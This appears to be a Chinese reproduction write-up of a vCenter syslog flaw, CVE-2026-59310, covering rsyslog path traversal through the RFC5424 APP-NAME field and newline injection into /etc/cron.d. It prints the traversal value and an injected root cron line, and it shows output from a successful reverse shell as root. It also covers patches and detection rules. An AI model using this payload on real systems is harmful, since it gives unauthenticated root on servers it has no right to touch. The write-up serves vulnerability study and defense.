一条日志报文拿到vCenter的root:CVE-2026-59310复现记录"

admin 2026-10-16 06:59:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

一条日志报文拿到 vCenter 的 root:CVE-2026-59310 复现记录

松杨网络安全资料库

2026年9月29日 17:09
广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一个不需要凭据的 UDP 报文,写进目录,一分钟后以 root 身份执行命令。


一、漏洞背景

项 内容
编号 CVE-2026-59310
上游根因 GHSA-xmp9-244p-5ggv / CVE-2026-92709(rsyslog omfiledynaFile 路径遍历)
组件 vCenter Syslog 接收服务(内置 rsyslog,VMware 定制配置)
类型 目录遍历 → 任意文件写入 → 本地提权至 root(RCE)
CVSS 3.1 9.8(AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H)
认证 不需要
触达方式 网络可达 UDP/514、TCP/514、TLS/1514
官方 workaround None (只能升级或网络隔离)

影响范围

分支 受影响 修复版本
vCenter 9.1 < 9.1.0.0300 9.1.0.0300
vCenter 9.0 < 9.0.2.0100 9.0.2.0100(Build 25629525)
vCenter 8.0 U3 < 8.0 U3k 8.0 U3k
vCenter 8.0 U2 < 8.0 U2f 8.0 U2f
vCenter 8.0 初始版 / U1 受影响 升级分支
vCenter 7.0 受影响 需扩展支持补丁,否则迁移
VCF 5.x / vSphere Foun dation / Telco Cloud 含 vCenter 组件,同样受影响 按对应 KB 打补丁

缺陷链概览

三个独立缺陷叠在一起构成 RCE:

缺陷 位置 作用
① 动态路径模板 直接拼接不可信字段 落盘模板, %app-name%同时作目录名与文件名 提供穿越能力
② 日志选择器用前缀匹配 规则 :app-name, startswith, \"rsyslog\" 让 APP-NAME 以 rsyslog开头即命中
③ 关闭换行转义 $EscapeControlCharactersOnReceive off 让文件行结构可控, 这是 RCE 的关键

二、漏洞原理

漏洞的成因就在一条模板和两个开关上。

第一个是落盘模板。vCenter 那份配置里,日志的路径是拼出来的:

$template rsyslogadminLoc, \"/var/log/vmware/%app-name%/%app-name%-syslog.log\"

%app-name%出现了两次,一次当目录名,一次当文件名前缀。而 app-name来自 RFC5424 报文里的 APP-NAME 字段,受攻击者控制:

/var/log/vmware/rsyslog/../../../../../etc/cron.d/cve59310abcd
└─── 模板给的起点 ───┘└──── 发包的人填的 APP-NAME ────┘

归一化后落在 /etc/cron.d/,模板再补 -syslog.log后缀。omfile的 dynaFile writer 还默认自动创建缺失的父目录,追加写入。

第二个是解析器的差异,用 RFC5424 报文:

解析器 收到 rsyslog/../../../../tmp/x时 APP-NAME 的实际取值
pmrfc3164 rsyslog ← 在 /处被截断,穿透失败且静默无报错
pmrfc5424 rsyslog/../../../../tmp/x ← 完整保留

第三个是换行转义开关。单单能写文件还不够,/etc/cron.d/下的文件是按行解析的。正常情况下 rsyslog 会把报文里的换行转义成 #012,防止注入伪造日志条目;vCenter 那份配置把它关掉了:

$EscapeControlCharactersOnReceive off

换行原样落盘,攻击者就拿到了文件内容的行结构控制权。模板会自动在每条日志前面加一段前缀,所以注入的 MSG 要用前导换行把前缀挤成废行,再用尾部 #注释掉多余的部分:

APP-NAME = rsyslog/../../../../../etc/cron.d/cve59310abcd
MSG      = \"\
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'\
#\"

落盘结果:

2026-01-05T12:00:00Z info h rsyslog/../../../../../etc/cron.d/cve59310abcd   ← 模板前缀,废行
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'                       ← 注入行,合法
#                                                                             ← 尾注释

三、漏洞复现

3.1 环境

项 值
靶机 192.168.50.136(Ubuntu,Docker)
靶场 容器 rsyslog-cve-2026-59310,基于 almalinux:9+ cronie 1.5.7
组件 rsyslog 8.2510.0,复刻 vCenter 出厂配置
端口 514/udp、514/tcp
攻击机 同宿主,Python 3

反弹 shell 验证通过,拿到交互式 root:

[*] 回连成功,来自 192.168.x.x:42774  —— root shell 已建立
root@ad638461243b:~# id
uid=0(root) gid=0(root) groups=0(root)


四、修复方式

4.1 官方修复(vCenter)

分支 修复版本
9.1 9.1.0.0300
9.0 9.0.2.0100(Build 25629525)
8.0 U3 8.0 U3k
8.0 U2 8.0 U2f
VCF 5.x 见 KB88287
Telco Cloud 见 KB449886

4.2 检测与排查

排查文件:

find / -name '*-syslog.log' -not -path '/var/log/vmware/*'

日志目录外的 *-syslog.log是明确的入侵痕迹——正常业务不会在 /tmp、/etc/cron.d/、htdocs 目录下生成这种命名规则的文件。

其余判据:

层面 规则
网络 dst_port 为 514 / 1514 且 payload 含 ../或 %2e%2e%2f
文件 /etc/cron.d/ 下出现带 -syslog.log后缀的条目
文件 rsyslogd 进程写入 /opt/vmware/share/htdocs/下的文件
YARA 匹配 RFC5424 PRI + version 前缀 + 遍历序列 + 目标路径片段(etc/cron.d、opt/vmware/share/htdocs)


一条日志报文拿到vCenter的root:CVE-2026-59310复现记录" 网络安全文章

一条日志报文拿到vCenter的root:CVE-2026-59310复现记录"

本文详细复现了CVE-2026-59310漏洞,该漏洞影响VMwarevCenter的Syslog服务,CVSS评分9.8,无需凭据即可通过UDP报文实现远程代码执行。漏洞由三个缺陷叠加构成:动态路径模板拼接不可信字段导致目录遍历、日志选择器前缀匹配缺陷、关闭换行转义使文件行结构可控,最终可写入cron.d目录实现root权限提升。文章提供了完整复现过程、影响范围、检测方法和修复版本信息,建议受影响用户立即升级至修复版本。
人工智能重要安全漏洞的通报OpenClaw多个安全漏洞" 网络安全文章

人工智能重要安全漏洞的通报OpenClaw多个安全漏洞"

国家人工智能安全漏洞库通报OpenClaw存在83个安全漏洞,含超危1个、高危41个、中危33个、低危8个,涉及访问控制错误、代码问题、路径遍历等类型。攻击者可未授权获取敏感数据、提升权限或远程执行代码,影响2026.9.6及之前多个版本。官方已发布修复更新,建议用户尽快确认并采取修补措施。
评论:0   参与:  0